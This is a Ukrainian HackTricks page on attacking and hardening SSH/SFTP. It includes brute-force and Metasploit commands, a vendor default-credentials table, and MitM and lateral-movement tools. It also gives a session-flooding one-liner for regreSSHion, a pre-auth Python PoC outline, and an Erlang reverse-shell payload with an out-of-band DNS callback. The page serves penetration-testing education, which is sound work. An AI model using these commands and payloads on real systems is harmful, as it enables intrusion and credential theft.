22 - Pentesting SSH/SFTP
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базова інформація
SSH (Secure Shell or Secure Socket Shell) — це мережевий протокол, який забезпечує захищене підключення до комп’ютера через незахищену мережу. Він необхідний для збереження конфіденційності та цілісності даних при доступі до віддалених систем.
Порт за замовчуванням: 22
22/tcp open ssh syn-ack
SSH сервери:
- openSSH – OpenBSD SSH, постачається в BSD, дистрибутивах Linux та Windows починаючи з Windows 10
- Dropbear – реалізація SSH для середовищ з обмеженою пам’яттю та процесорними ресурсами, постачається в OpenWrt
- PuTTY – реалізація SSH для Windows, клієнт використовується часто, тоді як використання сервера зустрічається рідше
- CopSSH – реалізація OpenSSH для Windows
SSH бібліотеки (реалізація серверної сторони):
- libssh – кросплатформна C-бібліотека, що реалізує протокол SSHv2 з биндингами для Python, Perl та R; використовується KDE для sftp та GitHub для git SSH інфраструктури
- wolfSSH – серверна бібліотека SSHv2, написана на ANSI C і орієнтована на embedded, RTOS та ресурсно-обмежені середовища
- Apache MINA SSHD – Apache SSHD Java бібліотека, яка базується на Apache MINA
- paramiko – Python бібліотека для протоколу SSHv2
Перерахування
Banner Grabbing
nc -vn <IP> 22
Автоматизований ssh-audit
ssh-audit — інструмент для аудиту конфігурацій ssh-сервера та клієнта.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Особливості:
- Підтримка серверів протоколів SSH1 та SSH2;
- Аналіз конфігурації SSH-клієнта;
- Отримання банера, розпізнавання пристрою, програмного забезпечення та операційної системи, виявлення стиснення;
- Збір алгоритмів key-exchange, host-key, encryption та message authentication code;
- Вивід інформації про алгоритми (доступні з версії, видалені/вимкнені, небезпечні/слабкі/legacy тощо);
- Вивід рекомендацій щодо алгоритмів (додавати або видаляти на основі розпізнаної версії ПЗ);
- Вивід інформації з безпеки (пов’язані проблеми, призначений список CVE тощо);
- Аналіз сумісності версій SSH на основі інформації про алгоритми;
- Історична інформація з OpenSSH, Dropbear SSH та libssh;
- Працює на Linux і Windows;
- Без залежностей
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Публічний SSH ключ сервера
ssh-keyscan -t rsa <IP> -p <PORT>
Слабкі шифрові алгоритми
Це виявляється за замовчуванням за допомогою nmap. Але ви також можете використовувати sslcan або sslyze.
Nmap скрипти
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
У деяких версіях OpenSSH можна виконати timing attack для enumerate users. Для цього можна використати metasploit module:
msf> use scanner/ssh/ssh_enumusers
Brute force
Деякі поширені ssh облікові дані here і here та нижче.
Private Key Brute Force
Якщо у вас є деякі ssh приватні ключі, які могли б бути використані… спробуємо. Можна використати nmap script:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Або MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Або використовуйте ssh-keybrute.py (native python3, легкий і з увімкненими legacy алгоритмами): snowdroppe/ssh-keybrute.
Відомі badkeys можна знайти тут:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Слабкі SSH ключі / передбачуваний PRNG у Debian
Деякі системи мають відомі вади в початковому seed, що використовується для генерації криптографічних матеріалів. Це може призвести до значного зменшення простору ключів, який можна перебрати методом bruteforce. Попередньо згенеровані набори ключів, створені на системах Debian, що постраждали від слабкого PRNG, доступні тут: g0tmi1k/debian-ssh.
Тут варто шукати дійсні ключі для цільової машини.
Kerberos / GSSAPI SSO
Якщо цільовий SSH-сервер підтримує GSSAPI (наприклад Windows OpenSSH на domain controller), ви можете аутентифікуватися, використовуючи ваш Kerberos TGT замість пароля.
Workflow from a Linux attacker host:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Notes:
- Якщо ви підключитесь до неправильного імені (наприклад, коротке ім’я хоста, псевдонім або неправильний порядок у
/etc/hosts), ви можете отримати: “Server not found in Kerberos database” через те, що SPN не збігається. crackmapexec ssh --kerberosтакож може використовувати ваш ccache для Kerberos auth.
Default Credentials
| Vendor | Usernames | Passwords |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Якщо ви знаходитесь у локальній мережі поруч із жертвою, яка підключатиметься до SSH-сервера за допомогою імені користувача та пароля, ви можете спробувати perform a MitM attack to steal those credentials:
Attack path:
- Traffic Redirection: Атакуючий перенаправляє трафік жертви на свою машину, ефективно перехоплюючи спробу підключення до SSH-сервера.
- Interception and Logging: Машина атакуючого виступає як проксі, захоплюючи дані для входу користувача, видаючи себе за легітимний SSH-сервер.
- Command Execution and Relay: Нарешті, сервер атакуючого логить облікові дані користувача, пересилає команди до реального SSH-сервера, виконує їх та надсилає результати назад користувачеві, роблячи процес безшовним і правдоподібним.
SSH MITM робить саме те, що описано вище.
Щоб виконати фактичний MitM, ви можете використовувати техніки на кшталт ARP spoofing, DNS spoofin або інші, описані в Network Spoofing attacks.
SSH-Snake
Якщо ви хочете переміщуватися мережею, використовуючи знайдені SSH private keys на системах, застосовуючи кожен приватний ключ на кожній системі для нових хостів, то SSH-Snake — саме те, що вам потрібно.
SSH-Snake автоматично та рекурсивно виконує такі дії:
- На поточній системі знаходить будь-які SSH private keys,
- На поточній системі знаходить будь-які хости чи цілі (user@host), куди ці private keys можуть бути прийняті,
- Спробує SSH на всі цілі, використовуючи всі знайдені private keys,
- Якщо підключення до якоїсь цілі вдале — повторює кроки 1–4 на підключеній системі.
Він повністю саморозмножується і само-пропагується — і повністю fileless.
Config Misconfigurations
Root login
Зазвичай SSH-сервери дозволяють входити як root за замовчуванням, що створює значний ризик безпеки. Вимкнення root login — критичний крок для захисту сервера. Нелегальний доступ з адміністративними привілеями та атаки методом перебору можна пом’якшити, зробивши цю зміну.
To Disable Root Login in OpenSSH:
- Edit the SSH config file with:
sudoedit /etc/ssh/sshd_config - Change the setting from
#PermitRootLogin yestoPermitRootLogin no. - Reload the configuration using:
sudo systemctl daemon-reload - Restart the SSH server to apply changes:
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
У налаштуваннях SFTP часто трапляється помилка: адміністратори хочуть, щоб користувачі обмінювалися файлами без доступу до віддаленої shell. Незважаючи на те, що для користувачів встановлюють non-interactive shells (наприклад, /usr/bin/nologin) і обмежують їх певним каталогом, залишається прогалина в безпеці. Користувачі можуть обійти ці обмеження, запитавши виконання команди (наприклад, /bin/bash) відразу після входу, до того як їхній non-interactive shell набуде чинності. Це дозволяє несанкціоноване виконання команд, підриваючи намірені заходи безпеки.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Ось приклад безпечної конфігурації SFTP (/etc/ssh/sshd_config – openSSH) для користувача noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Ця конфігурація дозволяє лише SFTP: вона вимикає shell access, встановлюючи start command, та відключає TTY access, а також блокує всі види port forwarding або tunneling.
SFTP Tunneling
Якщо у вас є доступ до SFTP server, ви також можете tunnel свій трафік через нього, наприклад, використовуючи поширений port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
У sftp є команда «symlink». Отже, якщо у вас є права на запис у якійсь теці, ви можете створювати symlinks для інших папок/файлів. Оскільки ви, ймовірно, обмежені всередині chroot, це не буде особливо корисно для вас, але якщо ви можете отримати доступ до створеного symlink із no-chroot сервісу (наприклад, якщо сервіс має доступ до symlink через веб), ви зможете відкривати файли, на які вказує symlink, через веб.
Наприклад, щоб створити symlink з нового файлу “froot” до “/”:
sftp> symlink / froot
Якщо ви можете отримати доступ до файлу “froot” через веб, ви зможете перерахувати вміст кореневої (“/”) папки системи.
Методи автентифікації
У середовищі з підвищеною безпекою зазвичай вмикають лише автентифікацію на основі ключа або двофакторну автентифікацію замість простішої password-орієнтованої автентифікації. Але часто сильніші методи автентифікації вмикають, не вимикаючи слабші. Частим випадком є ввімкнення publickey у конфігурації openSSH і встановлення його як методу за замовчуванням, але без відключення password. Тому, використовуючи режим verbose SSH-клієнта, атакуючий може побачити, що слабший метод увімкнений:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Наприклад, якщо встановлено ліміт невдалих спроб аутентифікації і ви ніколи не доходите до методу password, можна використовувати опцію PreferredAuthentications, щоб примусово використовувати цей метод.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Необхідно переглянути конфігурацію SSH-сервера, щоб перевірити, що дозволені лише очікувані методи. Використання режиму verbose на клієнті може допомогти побачити ефективність конфігурації.
Файли конфігурації
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Недавні критичні вразливості (2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1 видалив async-safe захист логування всередині обробника SIGALRM у sshd, повторно введучи CVE-2006-5051 і дозволивши неавторизованим атакувальникам корумпувати heap glibc одразу після закінчення LoginGraceTime. Qualys експлуатував баг для root RCE на 32-bit Linux і зазначив, що 64-bit цілі залишаються піддаваними brute-force при достатній кількості підготовчих спроб, тому пріоритетніше перевіряти хости, які під час банер-сканування все ще розкривають ці версії.
Експлуатація базується на таймінгу: нагрузіть демон половинами відкритих сесій, які ніколи не аутентифікуються, щоб привілейований монітор repeatedly заходив у вразливий сигнал-путь, поки ви формуєте стан аллокатора.
Поради оператору:
- Визначте версію збірки за допомогою
ssh -V(remote banner) абоssh -G <target> | grep ^userauthsі підтвердіть, щоLoginGraceTimeне дорівнює нулю. - Перевірте навантаження лабораторної цілі, спамлячи короткоживучі сесії, які не просять аутентифікації, наприклад:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
- Хости, які примусово встановлюють
LoginGraceTime 0, ніколи не потрапляють у buggy code path — очікуйте лише DoS-вектор через вичерпанняMaxStartups.
CVE-2024-3094 – xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 та 5.6.1 постачалися з троянурованими tarball-релізами, чиї скрипти збірки розпаковували прихований об’єкт під час упаковки для Debian/RPM на x86-64 Linux. Payload зловживає IFUNC резольвером glibc, щоб підмінити RSA_public_decrypt в sshd (коли патчі systemd змушують liblzma завантажитись) і приймає пакети, підписані атакувальником, для виконання коду до авторизації.
Оскільки шкідлива логіка живе лише всередині тих упакованих бінарників, оффензивна валідація мусить інспектувати те, що фактично встановлено на жертві: перевіряйте xz --version, rpm -qi xz/dpkg -l xz-utils, порівнюйте хеші /usr/lib*/liblzma.so*, і перевіряйте ldd /usr/sbin/sshd | grep -E "systemd|lzma", щоб побачити, чи взагалі sshd тягне скомпрометовану залежність. Хук залишається сплячим, якщо тільки шлях процесу не /usr/sbin/sshd, тому для відтворення backdoor у лабораторії часто потрібне відтворення середовища збірки дистрибутива.
Authentication State-Machine Bypass (Pre-Auth RCE)
Деякі реалізації SSH-сервера містять логічні помилки в authentication finite-state machine, які дозволяють клієнту надсилати connection-protocol повідомлення до завершення аутентифікації. Оскільки сервер не перевіряє, що він перебуває в коректному стані, ці повідомлення обробляються так, ніби користувач повністю аутентифікований, що призводить до неавторизованого виконання коду або створення сесії.
На рівні протоколу будь-яке SSH-повідомлення з message code ≥ 80 (0x50) належить до шару connection (RFC 4254) і має прийматися лише після успішної аутентифікації (RFC 4252). Якщо сервер обробляє одне з таких повідомлень, перебуваючи ще в стані SSH_AUTHENTICATION, атакувальник може негайно створити channel і запросити дії, такі як виконання команд, port-forwarding тощо.
Загальні кроки експлуатації
- Встановіть TCP-з’єднання з SSH-портом цілі (зазвичай 22, але інші сервіси можуть експонувати Erlang/OTP на 2022, 830, 2222…).
- Сформуйте raw SSH-пакет:
- 4-байтний packet_length (big-endian)
- 1-байтний message_code ≥ 80 (наприклад
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload, який буде інтерпретований обраним типом повідомлення
- Відправте пакет(и) до завершення будь-якого кроку аутентифікації.
- Взаємодійте з API сервера, які тепер доступні pre-auth (виконання команд, port forwarding, доступ до файлової системи тощо).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
На практиці потрібно виконати (або пропустити) key-exchange відповідно до реалізації цілі, але no authentication ніколи не виконується.
Erlang/OTP sshd (CVE-2025-32433)
- Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Коренева причина: нативний SSH-демон Erlang не перевіряє поточний стан перед викликом
ssh_connection:handle_msg/2. Тому будь-який пакет з кодом повідомлення 80-255 доходить до обробника з’єднання, поки сесія все ще знаходиться в стані userauth. - Наслідки: unauthenticated remote code execution (демон зазвичай працює як root на embedded/OT пристроях).
Приклад payload, який породжує reverse shell, прив’язаний до каналу, контрольованого зловмисником:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection можна виконати через DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Виявлення та пом’якшення:
- Перевіряйте трафік SSH: відкидати будь-який пакет з кодом повідомлення ≥ 80, помічений до автентифікації.
- Оновіть Erlang/OTP до 27.3.3 / 26.2.5.11 / 25.3.2.20 або новішої версії.
- Обмежте доступність портів керування (22/2022/830/2222) – особливо на OT обладнанні.
Інші реалізації, яких це торкається
- libssh 0.6 – 0.8 (з боку сервера) – CVE-2018-10933 – приймає неаутентифікований
SSH_MSG_USERAUTH_SUCCESS, надісланий клієнтом, що фактично є зворотною логічною помилкою.
Загальний висновок: будь-яке відхилення від переходів станів, визначених RFC, може бути фатальним; при перегляді або fuzzing SSH daemons приділяйте особливу увагу контролю дотримання автомата станів.
Посилання
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
HackTricks Автоматичні команди
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


